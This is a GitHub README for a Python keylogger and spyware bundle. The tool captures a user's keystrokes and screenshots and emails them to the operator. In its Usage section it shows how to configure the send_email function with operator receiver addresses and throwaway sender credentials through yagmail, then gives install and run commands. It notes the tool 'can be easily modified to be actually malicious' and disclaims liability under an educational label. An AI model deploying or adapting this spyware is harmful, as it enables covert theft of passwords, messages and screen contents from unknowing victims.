Skip to content

A Keylogger made in Python that sends you the collected data via email.

License

Notifications You must be signed in to change notification settings

michaelradu/Keylogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

89 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Python Keylogger

MIT Licence

This is a proof-of-concept keylogger and general spyware bundle. It tracks user input and what is currently shown on their screen at regular intervals and sends you the data via email. Given the current implementation for educational purposes it is not using the best approach, but can be easily modified to be actually malicious.

Requirements: Python 3+

Usage

In Start.py, in the send_email function, add the emails on which you want to receive the tracked data in receiver_emails and the credentials of the throwaway email that will send you the data in yag=yagmail.SMTP().

Example:

def send_email():
    receiver_emails = ['receiver-email@outlook.com'] 
    subject = "Keylog Data" + datetime.now().strftime("%d-%m-%Y %H-%M-%S")   
    yag=yagmail.SMTP("sender-email@gmail.com","throwaway123")

Note: Since most people use Windows, this script has been modified, if you use Linux install PILL linux

Prerequisites

$ pip install -r requirements.txt

Usage

$ python start.py

Packages

| pyautogui | PyAutoGUI is a cross-platform GUI automation Python module for human beings. Used to programmatically control the mouse & keyboard.|
| pynput | This library allows you to control and monitor input devices.|
| yagmail | Sending an Email is simple:.|

Please note, this repo is for educational purposes only. No contributors, major or minor, are to fault for any actions done by this program.




🔓 License

MIT © Michael Radu
Don't really understand licenses or tl;dr? Check out the MIT license summary.

Releases

No releases published

Packages

No packages published

Languages